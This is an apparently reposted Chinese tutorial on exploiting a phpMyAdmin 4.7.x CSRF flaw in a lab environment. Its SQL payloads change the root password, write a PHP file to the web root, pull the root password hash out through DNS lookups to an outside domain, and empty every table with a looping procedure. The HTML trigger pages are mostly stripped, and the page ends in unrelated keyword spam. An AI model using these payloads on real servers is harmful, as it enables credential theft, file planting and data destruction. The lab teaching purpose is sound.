千家信息网

怎样进行phpMyAdmin 4.7.x CSRF 漏洞利用

发表于:2026-11-02 作者:千家信息网编辑
千家信息网最后更新 2026年11月02日,这篇文章将为大家详细讲解有关怎样进行phpMyAdmin 4.7.x CSRF 漏洞利用,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。phpMyAdm
千家信息网最后更新 2026年11月02日怎样进行phpMyAdmin 4.7.x CSRF 漏洞利用

这篇文章将为大家详细讲解有关怎样进行phpMyAdmin 4.7.x CSRF 漏洞利用,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

phpMyAdmin是个知名MySQL/MariaDB在线管理工具,phpMyAdmin团队在4.7.7版本中修复了一个危害严重的CSRF漏洞(PMASA-2017-9),攻击者可以通过诱导管理员访问恶意页面,悄无声息地执行任意SQL语句。

我们将结合VulnSpy的在线phpMyAdmin环境来熟悉该漏洞的利用。

注:重启演示靶机即可重置靶机

1 在线创建 phpMyAdmin 环境

点击 VulnSpy 提供的创建靶机地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9)



跳转到 VSPlate 后,直接点击GO按钮,便会自动创建一个 phpMyAdmin 环境


打开演示地址的链接,我们的 phpMyAdmin 就创建完成了。



使用帐号 root ,密码 toor ,登录 phpMyAdmin 。根据页面信息,我们可以发现当前 phpMyAdmin 的版本为 4.7.6,刚好匹配存在漏洞的 phpMyAdmin 版本。


2 CSRF 漏洞利用 - 修改当前数据库用户密码

我们知道,如果要利用CSRF来删除或修改数据库内容,通查情况下需要提前知道数据库名、表名和字段名。这样利用显得有点复杂,成功率也有限,因此本文我们将介绍几种较为通用的利用方式。

在MySQL中支持使用SQL语句来修改当前用户密码。比如将当前用户密码修改为[www.vulnspy.com](http://www.vulnspy.com),对应的SQL语句为:

SET passsword=PASSWORD('www.vulnspy.com');

利用演示

2.1 模拟管理员登录phpMyAdmin的状态。

用帐号 root 密码 toor 登录 phpMyAdmin 。


2.2 创建含有恶意代码的页面。

文件名 2.payload.html (将下面的域名换成自己的靶机域名)

Hello World

" />

2.3 用浏览器打开含有恶意代码的文件 2.payload.html



回到上一步打开的phpMyAdmin页面,发现已自动退出,而且用原来的密码 toor 已经无法登录。


2.4 使用密码 www.vulnspy.com 登录成功,表明利用成功



3 CSRF 漏洞利用 - 写文件

MySQL支持将查询结果写到文件当中,我们可以利用该特性来写入PHP文件。比如将代码写到文件/var/www/html/test.php中,对应的SQL语句为:

select '' into outfile '/var/www/html/test.php';

利用演示

3.1 将上一个演示步骤相同,只需将2.2中的文件代码改成:

Hello World

3.2 用浏览器打开含有恶意代码的文件

3.3 访问 test.php



可见文件已经写入成功。

4 CSRF 漏洞利用 - 获取数据

MySQL提供了load_file()函数来支持读取文件内容的操作。比如读取文件/etc/passwd内容,,对应的SQL语句为:

select load_file('/etc/passwd');

但是对于CSRF漏洞来说,该读取操作实在目标用户端执行的,我们依然无法知道文件读取的结果。而load_file()在Windows下支持从网络共享文件夹中读取文件,如\\192.168.1.100\share\vulnspy.txt。网络共享文件的地址处不仅可以填写IP还可以填写域名,我们可以通过DNS解析来获取查询的数据。

此处需要用到 DNSLOG 之类的工具:https://github.com/BugScanTeam/DNSLog, 这类工具可以记录域名的 DNS 解析记录

比如通过DNS解析来获取当前 MySQL root 用户密码,对应的SQL语句为:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.vulnspy.com\\test'));

获取当前数据库名:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.vulnspy.com\\test'));

如果请求成功,查询结果将作为二级域名的一部分出现在我们的 DNS 解析记录当中。

该环境暂无法演示

5 CSRF 漏洞利用 - 清空所有数据表

如果上面几种利用方式都无法直接造成直接的影响,我们可以利用SQL语句来清空当前MySQL用户可操作的所有数据表。

我们用命令

SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1

来获取数据名和表名,并将其拼接成删除语句(如:DELETE FROM vulnspy_tables.inv),通过 execute 来执行生成的删除语句:

set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1);prepare stmt from @del;execute stmt;

但是 execute 一次只能执行一条SQL语句,因此我们可以利用循环语句来逐一执行:

DROP PROCEDURE IF EXISTS EMPT;DELIMITER $$    CREATE PROCEDURE EMPT()    BEGIN        DECLARE i INT;        SET i = 0;        WHILE i < 100 DO            SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);            PREPARE STMT FROM @del;            EXECUTE STMT;            SET i = i +1;        END WHILE;    END $$DELIMITER ;CALL EMPT();

利用演示

5.1 Payload如下

Hello World

" />

5.2 用浏览器打开含有恶意代码的文件

5.3 回到 phpMyAdmin 中查看数据

可以发现数据库vulnspy_tables和数据库vulnspy_test中的数据已经被清空。



6 总结

这个 phpMyAdmin 的 CSRF 漏洞利用有点类似 SQL 盲注的利用,但是对于漏洞触发的时间不可控(即不知道管理员何时会访问含有恶意代码的页面),因此需要更加通用的利用方式。通过该实验,不仅了解该漏洞的内容,还可以更加熟悉CSRF漏洞的利用。

关于怎样进行phpMyAdmin 4.7.x CSRF 漏洞利用就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

文件 漏洞 数据 语句 密码 代码 演示 内容 恶意 数据库 用户 成功 域名 页面 登录 环境 靶机 支持 管理 地址 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网佳科技有限公司 互联网科技工作委员会毛军 互联网科技财经 重庆科技学院互联网 中国互联网金融科技基金 卓越科技互联网 招聘 无锡溥仪互联网科技有限公司 互联网科技创新服务 宁夏科技产业互联网案例 互联网公司科技股 民营互联网公司国防科技 互联网科技和法律行业 烟台灵鸽互联网科技有限公司 科技互联网海报 合肥互联网科技公司公章图片 南通创西澳互联网科技有限公司 西安有哪些互联网高科技企业 抖集互联网科技技术咨询 科技和互联网行业的特点 颐高云石互联网科技 互联网科技活动banner 北京禾田雨橡互联网科技 金融科技和互联网金融 海南科技产业互联网平台 恒生互联网科技指数跳水 亳州好赞互联网科技有限公司 洛阳共同富裕互联网科技有限公司 朱啸虎曾投资哪些互联网科技企业 黑云互联网科技有限公司 安徽九吞吴互联网科技有限公司
0